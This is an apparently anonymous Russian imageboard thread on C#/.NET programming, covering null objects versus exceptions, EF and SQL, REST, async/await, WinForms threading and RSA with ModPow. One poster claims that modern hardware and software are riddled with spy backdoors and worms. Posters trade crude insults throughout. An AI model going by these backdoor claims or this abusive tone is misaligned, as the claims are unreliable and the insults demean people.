остановился на исключениях, ибо можно целую фабрику Exception сделать и через pattern martching проверять их
>Создай класс CarSearchOptions
У меня получились доп. экстеншены к сущностям по дереву наследования. Я боюсь, чтобы они не раздулись до склада костылей. Так или иначе - спасибо за совет
Аноним 19/07/20 Вск 13:04:57 1755329786
>>1755325
С вероятностью 99% чел просто хочет результат cities.SelectMany(c => c.GetX1().Concat(c.GetY1())
Аноним 19/07/20 Вск 14:17:11 1755350787
Аноны, прошу помочь советом.

Есть %сайт_нейм%, который имеет собственный API. Хотелось бы в качестве практики написать библиотеку, в которой были бы реализованы все методы из этого API.
Как пример - библиотеки VkNet / Telegram.Bot.

Какие технологии/архитектурные особенности используются для подобного и где об этом можно почитать?
Аноним 19/07/20 Вск 14:37:51 1755357788
Аноним 19/07/20 Вск 14:39:27 1755358789
>>1755350
Парсер(любой) и что-нибудь для запросов по HTTP, можешь, например, ебануться и на голых сокетах ебашить, можешь HTTP-клиент использовать.
Аноним 19/07/20 Вск 18:27:51 1755472790
>>1755311
Конечно, в манямирке большинства программистов, никто не забывает делать проверки на null, но в реальности их забывает делать каждый. Вот теперь подумай, лучше не сделать проверку на null и положить всё приложение или не сделать проверку на null и продолжить работу приложения с объектом-заглушкой, записав это в логи?
Аноним 19/07/20 Вск 18:29:53 1755474791
>>1755472
Если программист забывает проверку на null, он так же будет забывать и про проверку с заглушкой и логгирование. А с точки зрения работы, так вообще, лучше приложение сразу упадет и ты знаешь где и когда, с логами и всем на свете, чем потом будешь искать, где же там ебаная заглушка всю логику ломает.
Аноним 19/07/20 Вск 18:39:05 1755483792
>>1755474
Заглушка сама пишет в логи обращение к своим свойствам и методам, поэтому если кто то забыл, то это будет отражено в логах. Для этого даже аттрибуты сделали: callermembername, sourcefilepath и sourcelinenumber. Поэтому найти всё это будет легче, чем восстановиться после исключкния, а потом еще и искать его.
При этом не найденый объект это не такая проблема из за которой нужно ложить всё приложение, а если ты его ложишь, то значит нужно во всех таких местах создавать механизмы сохранения состояний.
Аноним 19/07/20 Вск 19:02:09 1755494793
>>1755483
>>1755472
поздравляю, ты изобрел php. Продолжаем работу с любым говноообъектом ЛИШЬ БЫ НИУПАЛО.

А через 15 минут работы у теюя вв базе появляется хуй пойми чего благодаря твоим замечательным логирующим заглушкам.
Аноним 19/07/20 Вск 20:23:13 1755535794
Кто-то может на пальцах объяснить как работает эта строчка?

return s.Split(' ').Min(x => x.Length);

Я понимаю, что мы берём строку, разбиваем её на массив слов через пробел, а дальше ищем минимальное длину каждой подстроки через Linq. А как работает вот это: x => x.Length Почему это выражение в скобках?
Аноним 19/07/20 Вск 20:39:00 1755545795
>>1755535
x=>x.Length тут делегат, или тупо метод который берет строку x и возвращает ее длину
в скобках она потому что это вызов метода Min()
Аноним 19/07/20 Вск 20:40:58 1755548796
>>1755535
Min принимает в качестве аргумента делегата. Этот делегат может быть описан как обычная функция, так и с помощью лямбды. Этот самй : x => x.Length это как раз лямбда. Ты бы мог вместо этого функцию аналогичной сигнатуры пихать.
Аноним 19/07/20 Вск 22:59:52 1755591797
Аноним 19/07/20 Вск 23:31:32 1755600798
>>1755494
Это вполне элементарные правила ООП. Падать приложение должно только в исключительных случаях, а не когда у тебя в базе данных не нашлось совпадений на запрос.
Аноним 20/07/20 Пнд 00:40:02 1755638799
>>1755600
1) Если у тебя веб приложение, оно неупадет. Ответит васяну 500 ошибкой если ты не удосужился поставить фальтров на свои API.
2) Если ты пишешь десктопную хрень - лови на том уровне, где ты с эттим исключением сможешь сделать что-то вменяемое. Например, вывалить сообщение о не найденных записях.

Error hiding хуже крешей.
Аноним 20/07/20 Пнд 07:33:39 1755713800
>>1755600
Так, блин, проверяешь на null и ничего не падает, при этом ты сразу можешь остановить выполнение дальнейшего алгоритма, потому что ничего не найдено. В чем проблема-то?
Просто давай посмотрим. Допустим тебе нужно вернуть не чистую сущность а какую-то аггрегированнуию, например ты не просто пользователя возвращаешь, а в ответ пихаешь его список любимых книг. Ну и вот ты вернул фейкоюзера, он там логгируется, пробует получить свой список любимых книг, может быть еще получить любимых певцов, просто так тратит ресурсы, выполняет ненужную работу и т.д. при этом конечным ответом все равно будет пустой объект. Проверив на null ты мог сразу вернуть: UserNotFound и все. А если ты кидаешь эксепшн на каждого не найденного юзера, то в определенный момент, когда запросов море, а БД раздута, у тебя начинаются ненужные просадки производительности, твой клиент вынужден брать более дорогое железо из-за того что кодер с СДВ забывает проверять на null, когда ебучая IDE ему говорит о том, что надо проверить.
Аноним 20/07/20 Пнд 21:05:01 1756273801
>>1755713
>проверяешь на null
Выше уже писал, что делается это для ситуаций в которых забили написать проверку на null. Вот если брать такую ситуацию, то пока мой фейкоюзер будет отдавать пустые списки и значения, записывая все вызовы в лог, ты положишь своё приложение и, возможно, потеряешь ценную информацию, а также время на восстановление и гадание того, где же у тебя там нуллреференс эксепшн вылез.
Аноним 20/07/20 Пнд 21:09:02 1756275802
>>1755638
>лови на том уровне
Зачем, если можно возвращать пустой объект и обойтись меньшим количеством трай кетч блоков?

>Error hiding хуже крешей.

В том то и дело, что это не ошибка. Это стандартное значение, вот только если при стандартном для Int32 нулевом значении у тебя при манипуляциях с этим значением не вылетает эксепшн, то при манипуляциях с null значением этот эксепшн вылетает. Вот это и избегают объектом, который будет возвращаться вместо null и представлять стандартное, пустое значение.
Аноним 20/07/20 Пнд 23:11:52 1756394803
>>1756273
>>1756275
>В том то и дело, что это не ошибка.
Ок, забывчивый программист Вася пишет роут PUT /api/users/{id}/personal-data. Он пользует твой класс, который возвращает фейковый объект если юзер с таким ID не найден. Естественно он забыл проверить на фейкового юзера потому что на null он тоже забыл бы проверить, как ты пишешь Что теперь? Сохраняем хуету вместо персональных данных? Падаем? Просто логируем и продолжаем работать как ничего не бывало?

> гадание того, где же у тебя там нуллреференс эксепшн вылез.
Бред сивой кобылы. Узнать источник нуллрефа гораздо проще, чем угадать откуда же у тебя в базе появился фейковы юзер с ID = -1. В стектрейсе даже строка, ёпта, написана.

Аноним 21/07/20 Втр 09:19:55 1756546804
На сколько актуально знание SQL у .NET разраба? ADO.NET - легаси, Dapper - никто не использует. EF - наше все. А где EF, там LINQ. Вопрос - зачем тогда нужен SQL?
Аноним 21/07/20 Втр 10:01:34 1756563805
>>1756546
Зтем же, зачем и нужны знания структур данных и алгоритмов - для умения писать высокопроизводительный код. Зная только линк ты можешь нахуячить говна, которое и 100 запросов не выдержит, а нужно выдерживать тысячи таких запросов, поэтому помимо линк, нужно знать и сикьюел. Иногда вообще выгоднее чистый sql запрос написать, потому что линк конструкция неоправданно тормозит. В общем, линк это не замена, а инструмент для тех кто уже знает sql.
Аноним 21/07/20 Втр 10:43:32 1756573806
>>1756563
>знания структур данных и алгоритмов - для умения писать высокопроизводительный код
Ох и насмешил
>которое и 100 запросов не выдержит
О какой БД идет речь? О каких мощностях? Энивей, держи линк и не благодари
https://docs.microsoft.com/en-us/archive/msdn-magazine/2005/august/tools-of-the-trade-sql-server-profiler-and-query-analyzer

Какие еще у кого мысли насчет знаний SQL при EF+LINQ?
Аноним 21/07/20 Втр 10:51:27 1756581807
>>1756546
Ну вот пример из жизни. Пишу я на своем уютном EF Core, пишу-пишу и тут хуяк и свиду обычный запрос валится. Потому что еф генерирут запрос с кросс аплай, для sqlite, которая не поддерживает кросс аплай а починить обещают только в Net5 - https://github.com/dotnet/efcore/issues/19178 и хуль делать? Либо разбивать запрос (а там получается по дополнительному запросу к бд на каждую полученную запись, что пиздец), либо ручками написать запрос и вызвать через FromSqlRaw.
Аноним 21/07/20 Втр 11:02:19 1756586808
>>1756581
вот это хороший аргумент
Аноним 21/07/20 Втр 11:53:23 1756611809
>>1756586
Я вроде чуток напиздел, можно было через 2 запроса, а в памяти уже группировать и джоинить как надо
Аноним 21/07/20 Втр 13:25:27 1756697810
>>1756611
энивей - прийдет новый разРАБ на твое место, увидет 2 запроса и начнет вилкой ковырять по тому, что не допиленно
Аноним 21/07/20 Втр 15:16:49 1756805811
>>1756546
> Вопрос - зачем тогда нужен SQL?
Тоже так когда-то думал. По итогу удобнее педалить sql, чем пердолиться с классами в шарпе. Прототипирование ты как будешь делать? Вот есть у тебя тысяча таблиц, тебе данные нужно покрутить. Да ты ты устанешь каждый раз базу скаффолдить и отладчиком писюн дрочить
А еще постгре нечувствителен к регистру. В результате названия классов распидорашивает, и мало ты что там поймешь

Иногда руками можно подтюнить запрос, чтобы работало быстрее. Но это редкость
Аноним 21/07/20 Втр 17:15:11 1756878812
>>1756805
>Прототипирование
Db first создается же модель под БД
То, что ты описал - это дрочка костылей. Если на проекте какой то Васян жидно пернув не сделал снепшот Бд и пошел крутить сущности, что по итогу привело к рассинхрону и не возможности сделать апдейт, тогда да.
Через что ты запрос делаешь, через ADO?
Аноним 21/07/20 Втр 18:15:01 1756929813
Аноны помогите, очень нужно.
Есть заказ на приложение на xamarin.
Попалась сложная анимация: прокрутка списка со значениями. То есть есть carousel с label в котором значение.
Нужно изменять прозрачность объекта, другой label, в зависимости от скролла carousel.
Нашел библиотеку xamanimation. Но вот проблема как туда передать значения от 0 до 1, в значение progress.
Очень срочно нужно, помогите пожалуйста.
Аноним 21/07/20 Втр 23:10:33 1757215814
Для чего нужно передавать запрос к БД через поисковую строку? Типо /api/shop/1 - нахуй нужен этот "1", если все передается через элементы формы? Чего то вообще не догоняю... Я понимаю, когда передаешь токен через строку, т.к. другого выбора нет, а тут я передаю все через Body.
Я мысленно понимаю, что я не прав, т.к. на всех сервисах запросы передавались именно так. Поправьте меня.
Аноним 22/07/20 Срд 00:30:36 1757261815
>>1757215
https://en.wikipedia.org/wiki/Representational_state_transfer
Почитай. В кратце: ты работаешь с ресурсом. Определятся этот ресурс должен по URI. Твои формочки пересылают данные черз Body запроса, поэтому твой ID не участвует в формировании URI -> нужно смотреть BODY запроса, что затратно как на уровне железа, так и на когнетивном уровне.
Аноним 22/07/20 Срд 01:00:18 1757286816
>>1757261
и что, это для всех REST запросов распостраняется? Типо при регистрации метод будет не
[HttpPost]
public ActionResult CreateUser(User user) {}
а
public ActionResult CreateUser(int id, string userName... etc)
И строчка запроса получиться типо api/CreateUser/1?vasyan?admin
Чи шо? На какое то обрыганное пхп похоже
Аноним 22/07/20 Срд 01:08:00 1757291817
>>1757286
Биндинг параметров и строчка запроса никак не связанны
Аноним 22/07/20 Срд 02:49:52 1757331818
>>1756878
> Через что ты запрос делаешь, через ADO?
Когда работаю с постгре, через sqlraw по dbset. Потому что классы такие на выходе, что караул
С mssql использую ef как полагается

Но я про другое. Надо тебе данные прикинуть, а база в наличии – проще запросами примерную структуру набросать
Аноним 22/07/20 Срд 05:46:52 1757387819
>>1724425 (OP)
Аноны, у меня прога работает с JSON,
и использует Newtonsoft.Json.dll
при помощи
>using Newtonsoft.Json;

Из этой dll-ки, вызываются только методы:
>JsonConvert.DeserializeObject
>JsonConvert.SerializeObject
Всё остальное, в проге - не используется, и нахуй не нужно.

До сих пор, программулина использует пре-компилированный, хуй знает кем Newtonsoft.Json.dll
Вдруг там вирьё заобфусцировано , или бекдоры, блядь? Хуй знает.
Решил я, в общем, сделать софтину опенсорцной...
Но как сходил сюда: https://github.com/JamesNK/Newtonsoft.Json/tree/master/Src
- охуел от многабукафф.

Внимание, вопрос:
Где нарыть Newtonsoft.Json.JsonConvert.cs без всяких лишних шняг, чтобы просто приинклюдить его и не ебать себе мозг?
Пока нашёл только это: https://my.oschina.net/u/4329266/blog/3221402
Но там чё-то по-китайски написано, и вдруг там закладки софтварные, и коровавирас - хз...
Аноним 22/07/20 Срд 06:00:02 1757392820
>>1757387
Может у кого есть исходник Newtonsoft.Json.dll в одном .cs-файле - прошу скиньте.
Аноним 22/07/20 Срд 08:33:59 1757435821
Аноним 22/07/20 Срд 10:30:48 1757465822
Аноним 22/07/20 Срд 10:57:44 1757480823
Уже появились тулзы, позволяющие в один клик конвертировать проект на фреймворке в проект на неткоре?
Аноним 22/07/20 Срд 12:09:39 1757531824
>>1757387
Ты думаешь в рантайме и компиляторе нет закладок?
Аноним 22/07/20 Срд 12:42:50 1757541825
zakladki.jpg 173Кб, 1280x960
1280x960
>>1757531
какие еще нахуй закладки?
Аноним 22/07/20 Срд 14:03:08 1757597826
>>1724425 (OP)
Как правильно сделать
>rsa.Decrypt(encryptedData, false)
и сделать этот декрипт - приватным ключём (d, n),
после того, как данные были зашифрованы, с использованием
>rsa.Encrypt(sourceData, false),
и зашифрованы публичным ключём (e, n),
так вот, как сделать этот декрипт,
используя BigInteger и его метод modPow,
зная при этом значения (d, n) в виде hex'a или base64 (из того же xml-файла).

Чё-то оно вообще не декриптится при помощи modPow,
только rsa.Decrypt(encryptedData, false) может раздекриптить всё это зашифрованное дело,
а каким ключём - оно декриптит хрен поймёшь, и енкриптит ли вообще.
Свиду, вроде, какой-то шифр и есть, а иди знай шифр ли это, или зазондированная херота от копирастов,
которая брутится за час, слабенькой видяшкой васяна в гараже...
Аноним 22/07/20 Срд 14:40:41 1757629827
>>1757435
>Иди проспись.
От того, что я просплюсь, софтина опенсорцнее не станет.
>>1757531
>Ты думаешь в рантайме и компиляторе нет закладок?
>>1757465
>1) сходи к психологу, у тебя пароноя
Это я ещё тут параноик, блядь?
>>1757541
>какие еще нахуй закладки?
Хардварные, в логических схемах, которые.
Иди знай какие из них дёргает прекомпилированная чья-то dll-ка.
>>1757465
>2) https://docs.microsoft.com/en-us/dotnet/standard/serialization/system-text-json-how-to
Есть исходник для .NET Core 2.0?
Аноним 22/07/20 Срд 14:49:36 1757636828
>>1757629
>Хардварные, в логических схемах, которые.
Это ты так метаданные называешь, наркоман?
Тебе JsonConvert нужен? Сделай миграцию до 3.0+, где есть тип System.Text.Json и не еби мозги
Аноним 22/07/20 Срд 14:54:40 1757639829
>>1757636
А как же обратная совместимость?
Аноним 22/07/20 Срд 15:01:31 1757643830
>>1757629
>софтина опенсорцнее не станет
Куда уж попенсорснее MIT'a?
>...free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software...
>Это я ещё тут параноик
Таки да. еще и сарказма не уловил хотя бэкдор в рантайме куда реальнее, чем в либах от коммунити
>прекомпилированная
Скомпилируй сам
>Есть исходник для .NET Core 2.0?
Тута есть все исходники, включая компилятор, рантайм, fcl и т.д. - https://github.com/dotnet
Аноним 22/07/20 Срд 15:03:12 1757644831
>>1757629
>От того, что я просплюсь, софтина опенсорцнее не станет.
От того, что ты в наглую спиздишь код опенсорсом твоя софт на точно не станет.
Аноним 22/07/20 Срд 15:04:47 1757645832
>>1757541
>какие еще нахуй закладки?
>>1757629
>Хардварные, в логических схемах, которые.
>Иди знай какие из них дёргает прекомпилированная чья-то dll-ка.
>>1757636
>Это ты так метаданные называешь, наркоман?
Да причём тут метаданные, речь о зондах со слежкой, от ссыклоидов всяких, коим напичано и железо и софт.

Кстати, по поводу хардварных закладок, в логических схемах.
Не так давно, здесь: >>1755674 →
Всплыл шифр Шамира: https://ru.wikipedia.org/wiki/Протокол_Шамира
И по ссылке на статью о самом Шамире: https://ru.wikipedia.org/wiki/Шамир,_Ади
Видно его цитату:
>В 2007 году, по сообщениям rnd.cnews.ru, Ади Шамир заявил,
>что для современных криптосистем серьёзная угроза таится в виде роста числа невыявленных ошибок,
>вызванных постоянным усложнением микропроцессоров.
>«Если спецслужбы обнаружат или скрытно внедрят в популярный микропроцессор
>алгоритм неправильного вычисления произведения только лишь одной пары чисел A и B
>(хотя бы в бите номер 0, то есть наименее значимом бите),
>то любой ключ в любой RSA-программе на любом из миллионов ПК
>с этим чипом может быть взломан с помощью единственного сообщения», — пишет Ади Шамир.
>Взлом может быть применен к любой системе, где задействованы открытые ключи,
>причем сейчас это не только ПК, но и телефоны и другие устройства.

Вот такие вот хардварные закладки.
Так-то только с виду кажется, что обратной совместимости нет, потому что делается всё через жопу,
по принципу "хуяк-хуяк, и в продакшн". На деле же, внутри новинок - куча зондов, жуков, бекдоров, вирасов, троянов и червей вроде WinWorms.
Аноним 22/07/20 Срд 15:06:10 1757646833
>>1757644
Как можно спиздить опенсорц, лол?
Аноним 22/07/20 Срд 15:18:54 1757654834
>>1757639
чего с чем? Алло, уже 3.1 по полной гуляет, ты еще на 2.0 сидишь
>>1757644
>От того, что я просплюсь, софтина опенсорцнее не станет.
>От того, что ты в наглую спиздишь код опенсорсом твоя софт на точно не станет.
ты зеленый или долбоеб, я одного не пойму? Что за хуйню ты несешь?
>Всплыл шифр Шамира
шифр - это протокол. Ты свой JSON передаешь по TCP/Ip через http протокол, алгоритмы которого уже задекларированны и никакой 3ей стороны кроме ssl быть не может
Высеры дальше тяжело укладываются в логическую смысловую конструкцию, поэтому завершу свой пост назвав тебя долбоебом и шизиком. Иди как ты лучше нахуй проспись, как тебе советовали выше
Аноним 22/07/20 Срд 15:25:46 1757659835
>>1757646
Проигнорировать лицензию, например
Аноним 22/07/20 Срд 15:26:38 1757660836
>>1757646
Легко, посмотри какие лицензии есть.
Аноним 22/07/20 Срд 15:44:17 1757670837
>>1757636
Под system.text.json нет нормальных генераторов типов из json строки
Аноним 22/07/20 Срд 17:03:50 1757791838
>>1757660
WTFPL рулит, там тру копилефт.
Аноним 22/07/20 Срд 17:35:40 1757812839
image.png 91Кб, 225x225
225x225
Аноны, как сделать что бы страница клиента обновлялась из сервера, вот как в фейсбуке например пользователь пишет тебе сообщение и оно появляется сразу у тебя на странице хотя ты странциу не обновлял?
Аноним 22/07/20 Срд 19:15:13 1757898840
Аноним 23/07/20 Чтв 10:09:50 1758289841
Аноним 23/07/20 Чтв 16:32:22 1758564842
image.png 61Кб, 1425x743
1425x743
есть ли смысл в .нет кор приложениях вызывать получения данных из нескольких репозиториев через await, или достаточно только первый запрос делать через await, а второй синхронным вызовом, чтобы лишний тред бэкграунд не плодить, тред из тред пула веб запросов всё равно уже освобождён после первого реквеста, разве этого не достаточно? я побаловался в консоли и заметил, что хоть и не всегда, но порой континюейшны после эвейтов могут выполняться в разных тредах.

я читал вот этот пост на so: https://stackoverflow.com/a/49109517/7162511, он вроде складно объясняет, но он говорит о важности выполнения долгих IO операций на бэкграунд тредах, чтобы не ебать основной тред пул веб сервера, но после первого await'а дело же уже происходит в бэкграунде.
Аноним 23/07/20 Чтв 17:29:50 1758606843
>>1757286
При регистрации строчка запроса будет:
>POST (или PUT) https://xui.com/api/users
со всей нужной инфой в body запроса. Серьезно, почитай подробно про REST прежде чем спрашивать всякий бред.
Аноним 23/07/20 Чтв 19:33:28 1758710844
>>1758564
Я конечно особо не шарю, но думаю такой эффект у тебя вышел из-за того что main асинхронный. Но я просто студент и высказал догадку. Попробуй это же с синхронным мейном проделать.
Аноним 23/07/20 Чтв 19:45:32 1758719845
asy.png 268Кб, 647x722
647x722
>>1758564
Чет у тебя каша в голове. Разница между background и foreground потоками, только в том что foreground поток будет "держать" процесс живым, а background потоки будут автоматически завершены, если в процессе не осталось foreground потоков. К асинхронности это отношения не имеет. Тяжелые CPU операции стоит делать асинхронными, что б вычисления не блокировали основной поток и программа оставалась отзывчивой. IO операции стоит делать асинхронными, потому что пока свою часть работы выполняет диск/сеть/и т.д. тред может выполнить что нибудь еще, а не просто ждать. Что касается await'a, то если очень просто, можешь рассматривать его как некое подобие return'a - поток выйдет из метода (хоть и не всегда) и будет исполнять ко дальше, но в отличии от обычного return'a часть после await'a будет выполнена потом, каким нибудь потоком из пула (хоть и не всегда).
Для начала могу посоветовать пикрил.
Аноним 23/07/20 Чтв 19:57:56 1758733846
>>1758710
как я тебе метод с вызовом await'ов без async сделаю?
>>1758719
я может неправильный пример привёл с выводом IsBackground и IsThreadPool, меня на самом деле интересовало, может ли часть после второго await уйти в другой тред, а не остаться в треде 1 await'а.
я читал статьи у майков про использование await, IO-bound и CPU-bound code и использую его постоянно, просто не до конца понимаю один момент. меня интересует конкретно случай с дата-репозиториями. вот они представляют с собой IO-bound code, т.к. содержат обращения к БД. я понимаю, зачем нужен 1 await с точки зрения asp.net core - освободить поток реквеста, чтобы больше запросов от клиентов могло одновременно обрабатываться. зачем нужен 2 await на втором обращении к дата-репозиторию, если этот вызов после первого await уже будет в потоке из тред пула? только потому что
>поток выйдет из метода (хоть и не всегда) ... каким нибудь потоком из пула (хоть и не всегда)
?

>потому что пока свою часть работы выполняет диск/сеть/и т.д. тред может выполнить что нибудь еще, а не просто ждать.
это как это, а без await такой оптимизации не происходит?
Аноним 23/07/20 Чтв 20:09:42 1758748847
Блин, вы такие страшные слова говорите.
Я вот таски и асине-эвейт всегда воспринимал как-то типа: Пусть этот метод где-то выполнится, потом я заберу его результат, в это время основная работа продолжится. Допустим как раз с обращением к БД, я делаю запрос, в это же время пользователь может нажимать кнопочки и не кода запрос завершится - я отрисую ему новые данные. А вы какие-то потоки, какие-то IO-bounded прочее. Неужели я должен тоже думать об этом? Ну просто допустим, я хочу сделать 10 независимых запросов к разным сайтам: картинки, инфу о пользователе, его список любимых песенок и т.д. Я всегда просто делал несколько тасков, пихал их в лист, внутри делал какой-то эвент, типа кусок данных, который нужно отрисовать - получен, ну и по эвенту - рисовал что-то. А у вас такие вот сложности с какими-то потоками. Хуй знает короче. Я почему-то не заметил проблем с разработкой, не задумываясь об этом.
Аноним 23/07/20 Чтв 20:21:04 1758753848
Аноним 23/07/20 Чтв 20:28:58 1758761849
>>1758748
>Я вот таски и асине-эвейт всегда воспринимал как-то типа
всё верно. нюансы типа IO-bound и CPU-bound возникают для меня, по крайней мере, только в asp.net core в контексте best practices по многопоточности. в статьях майки и все остальные пишут, что например для чтения данных из БД Task.Run как враппер async over sync использовать не стоит, потому что чё то там отжирается поток из тред пула реквестов, потом возвращается, и типа планировщику это всё не нравится, а лучше использовать await, натравленный на асинхронные методы материализации IQueryable.
>Неужели я должен тоже думать об этом?
в декстопе на мой взгляд нет, хотя все обращения к сайтам - IO bound. CPU-bound это непосредственно обработка данных, выполняемая после получения данных.
еще можно еще послушать товарища сверху с его утверждением, что тред может выполнять что нибудь еще, пока ждет IO-bound код, ожидаемый await'ом. просто в моём представлении за await никакой магии не стоит, и это просто синтаксический сахар, заворачивающий код под ним в континюейшн.

>А у вас такие вот сложности с какими-то потоками.
да понятно, что и на Task.Run всё будет работать, но у меня какое то профессиональное любопытство, что ли
Аноним 23/07/20 Чтв 20:34:38 1758763850
>>1758733
>может ли часть после второго await уйти в другой тред
может
>я понимаю, зачем нужен 1
и второй для того же самого - пока бд проперживается потокой пойдет и сделает что нибудь полезное, а не залочитс на ожидании этой бд.
>вызов после первого await уже будет в потоке из тред пула?
Так тред-пул не резиновый (хотя конечно в разумных пределах резиновый, но в любом случае создание потока тяжелая операция)
>?
Например, код может выполнится синхронно, если ожидаемая задача уже завершена к моменту ожидания (await).
> а без await такой оптимизации не происходит
await это сахар, асинхронный код можно писать и без него, но с ним проще и удобнее
Аноним 23/07/20 Чтв 20:42:00 1758766851
>>1758763
>и второй для того же самого - пока бд проперживается потокой пойдет и сделает что нибудь полезное, а не залочитс на ожидании этой бд.
кажись понял профит, но не понял, как это работает. типа при достижении IO-bound кода, тред уходит обратно в тред пул. а потом продолжение после IO-bound кода кто раскочегаривает в уже возможно новом потоке из тред пула? какой нибудь планировщик?
Аноним 23/07/20 Чтв 20:49:16 1758770852
>>1758766
У тебя под капотом таски обернуты в сорт оф перечисления. По сути эвейтом ты yield делаешь, там стейтмашина проходится по таскам, которые были уже запущены, когда находится тот таск, что завершен - хвост функции после await помещается в какой-нибудь из тредов и продолжает выполнение. Ну, я так примерно это понял, когда читал. Да, я не тот умняша, а просто студентота что мимо проходила.
Аноним 24/07/20 Птн 06:17:12 1758976853
>>1757597
Бампецкий. Или хотя-бы дайте исходники методов rsa.Encrypt() и rsa.Decrypt(), чтобы понять что за хуйню оно пишет на выходе.
Аноним 24/07/20 Птн 08:32:50 1759007854
Есть win forms. И если поток, который обновляет UI c помощью beginInvoke.
Вопрос заключается в том, насколько корректно так писать и почему это работает
///код отдельного потока
double value = Something.getValue();
textBoxForValue.BeginInvoke = (
   new Action(()=>{textBoxForValue.Text = value.toString();})
);
///конец кода отдельного потока
Вопрос в том, насколько корректно обращаться к переменной value, которая находится в контексте созданного потока при асинхронном выполнении делегата в потоке UI? Action же будет выполнять в потоке UI, в котором был вызван BeginInvoke будет уничтожен после завершения вызова. Или я чего-то не понимаю. Нахуя тогда в BeginInvoke 2 параметром object[], если в лямбдах доступны все переменные, которые в той же области видимости.
Аноним 24/07/20 Птн 11:12:39 1759074855
>>1759007
если в VS навести на => курсор, то там интеллисенс подскажет типа variables captured: и список. рискну предположить, что когда лямбда разворачивается при компиляции в код, переменные как то копируются и передаются параметрами в экшн. но вообще разве не лучше делать в хэндлере

double value = await Something.GetValueAsync();
textBoxForValue.Text = value.ToString();
?
Аноним 24/07/20 Птн 11:36:38 1759098856
Аноним 24/07/20 Птн 12:30:40 1759139857
>>1759074
Не совсем понял тебя. Ты не можешь обновить GUI из другого потока, отличного от основного потока winForm, в котором были созданы контролы. Для этого и делаю beginInvoke, чтобы вызвать эти изменения в основном потоке.
Аноним 24/07/20 Птн 13:13:33 1759156858
>>1759139
await все сделает за тебя - так как в формах однопоточный контекст, то продолжение задачи после await'a будет быполнено в исходном потоке т.е. UI. Об этом надо помнить еще и для того что бы не словить deadlock, когда UI поток заблокирован ожиданием таски, а что бы выполнить таску нужен UI поток. Если UI поток не нежен, то следует вызвать .ConfigureAwailer(false);
Аноним 24/07/20 Птн 13:30:56 1759163859
Сап, ломаю голову уже вторые сутки. Мне нужна программа которая будет постоянно активна и реагировать на какие-то действия в винде. К примеру открывается гугл - программа это замечает. Бесконечный цикл который постоянно чекает процессы не подойдет вроде так как сожрёт всю оперативку со временем. Как реализовать? Погуглил на счет winapi но нифига не понятно
Аноним 24/07/20 Птн 13:37:02 1759168860
>>1759163
windows service, таймер с методом
Аноним 24/07/20 Птн 13:38:32 1759170861
>>1759163
Зачем? Может будет проще это сделать администрированием, а не прогрраммированием.
P.S. Если твоя программа забивает со временем память, значит ищи где у тебя утечка памяти. Ну или. если ты дурачек и хранишь все в оперативе, то время от времени сбрасывай данные на диск.
Аноним 24/07/20 Птн 13:39:23 1759171862
>>1759170
Я еще даже не близко джуниор поэтому не понимаю как это делать.
>>1759168
Можешь подробнее?
Аноним 24/07/20 Птн 13:46:28 1759178863
>>1759171
создаёшь в VS проект windows service, ему в OnStart пишешь запуск любого таймера, на обработкик Elapsed пишешь метод, который будет делать что тебе там надо. можешь поставить там таймер на 5 сек, в принципе, это не while(true), так что CPU сильно ебашить не будет. потом гуглишь, как его устанавливать, там надо через cmd какую то утилиту из .net натравить на .exe скомпиленного сервиса. или если хочешь заморочиться, то гуглишь, как сделать WiX-установщик, но имхо это лишнее, если ты не кому то это делаешь но это если тебе не надо прямо мгновенное реагирование на действия пользователя. если надо - то тогда только гуглить как хукать такие события у каждой конкретной программы, но тут я ничего не подскажу, не факт даже, что без ковыряния WinAPI такое получится.
Аноним 24/07/20 Птн 14:36:39 1759212864
Annotation 2020[...].png 68Кб, 1354x868
1354x868
>>1759163
Создай в вижаке обычный проект "Windows Forms App".
Он тебе высрет что-то вроде пикрила.
Файл с формой можно удалить, "new Form1()" тоже убери из Run, чтобы был просто вызов Application.Run() без аргумента.
Собственно, это будет твоя программа, которая постоянно висит в памяти.
Дальше перед строчкой Application.Run() создай Timer, и повесь ему событие с нужным интервалом (1000 мс., например), из которого шарься по процессам и делай что нужно.

Если не хочешь каждый раз закрывать свою прогу через диспетчер задач (или хочешь как-то ей управлять), то прикрути иконку с контекстным меню в трей (new NotifyIcon(), new ContextMenu(), и т.д.)
Аноним 24/07/20 Птн 14:43:28 1759215865
Аноним 24/07/20 Птн 15:41:02 1759257866
изображение.png 4Кб, 326x263
326x263
изображение.png 2Кб, 256x115
256x115
изображение.png 0Кб, 166x35
166x35
Помогите, пожалуйста. Писал метод для перевода десятичного числа с двоичную, на int все нормально, а на ulong вот такая хуйня - выводится число не в двоичной системе счисления.

Аноним 24/07/20 Птн 15:47:03 1759260867
image.png 242Кб, 400x341
400x341
Аноним 24/07/20 Птн 16:37:50 1759299868
>>1759257
>на int все нормально
Серьезно? Прям в двоичной выводит? Покажи код для int.
Аноним 24/07/20 Птн 19:20:26 1759420869
.png 87Кб, 1920x1080
1920x1080
>>1759257
В общем, лень в твоем алгоритме разбираться.
Аноним 24/07/20 Птн 19:29:19 1759428870
>>1759420
за одни только скобки сажу поставить хочется
Аноним 24/07/20 Птн 19:37:28 1759436871
>>1759428
Работает? Работает. Что тебе надо еще, дядя?
Аноним 24/07/20 Птн 19:47:45 1759444872
>>1759436
Чтоб ты говнокод не плодил.
Аноним 24/07/20 Птн 19:50:27 1759446873
>>1759444
Хочу - плодю. Что ты мне сделаешь? Я в другом городе!
Аноним 24/07/20 Птн 19:54:11 1759449874
Аноним 24/07/20 Птн 20:33:03 1759467875
>>1759420
Ну и так пойдет, в принципе. Спасибо.
Аноним 25/07/20 Суб 02:57:56 1759654876
Аноним 25/07/20 Суб 08:53:59 1759716877
Нуждается ли в рефакторинге класс в 1500 строк?
Аноним 25/07/20 Суб 09:23:46 1759724878
>>1759716
В рефакторинге нуждается всё приложение, если в нём есть класс на 1500 строк.
Аноним 25/07/20 Суб 11:09:07 1759755879
>>1757597
Как я понял, rsa.Encrypt() шифрует только при помощи publicKey, импортированного в RSAParameters,
либо же пабом из privateKey, импортированном опять же в RSAParameters.

rsa.Encrypt() же, дешифрует шифр только при помощи privateKey, который нужно импортировать в RSAParameters.

Однако, RSA может шифровать с помощью privKey, и дешифровать с помощью pubKey:

>(e, n) - pubKey
>(d, n) - privKey

>m = message
>c = m ^ e mod n; // encrypt by pub to cipher
